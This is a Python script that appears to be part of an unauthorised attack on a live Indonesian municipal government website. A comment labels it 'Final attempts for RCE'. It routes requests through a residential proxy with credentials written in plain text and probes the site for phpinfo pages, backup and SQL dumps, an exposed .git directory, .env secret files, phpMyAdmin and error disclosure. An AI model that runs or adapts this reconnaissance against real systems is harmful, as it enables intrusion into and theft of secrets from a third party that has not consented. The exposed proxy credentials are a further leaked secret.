#!/usr/bin/env python3
import requests
import time
import urllib.parse

PROXY = {
    'http': 'http://b04dd480860a80d0:VJvorQIeLmBSK1G9@res.proxy-seller.com:10003',
    'https': 'http://b04dd480860a80d0:VJvorQIeLmBSK1G9@res.proxy-seller.com:10003'
}

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
}

# Final attempts for RCE
tests = [
    # 1. Check if PHP info is accessible
    ("https://pohon.disperkim.semarangkota.go.id/phpinfo.php", "phpinfo"),
    ("https://pohon.disperkim.semarangkota.go.id/info.php", "phpinfo"),
    
    # 2. Check for backup files
    ("https://pohon.disperkim.semarangkota.go.id/pohon.zip", "backup"),
    ("https://pohon.disperkim.semarangkota.go.id/backup.zip", "backup"),
    ("https://pohon.disperkim.semarangkota.go.id/database.sql", "backup"),
    
    # 3. Check for git exposure
    ("https://pohon.disperkim.semarangkota.go.id/.git/config", "git"),
    ("https://pohon.disperkim.semarangkota.go.id/.git/HEAD", "git"),
    
    # 4. Check for env files
    ("https://pohon.disperkim.semarangkota.go.id/.env", "env"),
    ("https://pohon.disperkim.semarangkota.go.id/.env.local", "env"),
    
    # 5. Check for debug endpoints
    ("https://pohon.disperkim.semarangkota.go.id/debug", "debug"),
    ("https://pohon.disperkim.semarangkota.go.id/test", "debug"),
    
    # 6. Check for phpmyadmin
    ("https://pohon.disperkim.semarangkota.go.id/phpmyadmin/", "pma"),
    ("https://pohon.disperkim.semarangkota.go.id/pma/", "pma"),
]

print("[*] Final reconnaissance...")
for url, desc in tests:
    try:
        resp = requests.get(url, headers=headers, proxies=PROXY, verify=False, timeout=20, allow_redirects=False)
        if resp.status_code in [200, 302, 301]:
            print(f"[+] {desc}: {url} - Status {resp.status_code}, Len {len(resp.text)}")
            if resp.status_code == 200 and len(resp.text) > 50:
                print(f"    Preview: {resp.text[:100]}")
        else:
            print(f"[-] {desc}: Status {resp.status_code}")
    except Exception as e:
        print(f"[-] {desc}: Error - {str(e)[:50]}")
    time.sleep(0.5)

# 7. Try to access Format.php directly (unlikely but worth trying)
print("\n[*] Testing direct Format.php access...")
url = "https://pohon.disperkim.semarangkota.go.id/application/libraries/Format.php"
try:
    resp = requests.get(url, headers=headers, proxies=PROXY, verify=False, timeout=20)
    print(f"[*] Format.php: Status {resp.status_code}")
except Exception as e:
    print(f"[-] Error: {e}")

# 8. Try to trigger error with malformed request
print("\n[*] Testing error disclosure...")
error_tests = [
    "https://pohon.disperkim.semarangkota.go.id/index.php/",
    "https://pohon.disperkim.semarangkota.go.id/index.php///",
    "https://pohon.disperkim.semarangkota.go.id/index.php?<script>",
]
for url in error_tests:
    try:
        resp = requests.get(url, headers=headers, proxies=PROXY, verify=False, timeout=20)
        if 'error' in resp.text.lower() or 'exception' in resp.text.lower():
            print(f"[+] Error disclosure found: {url}")
            print(f"    {resp.text[:200]}")
    except:
        pass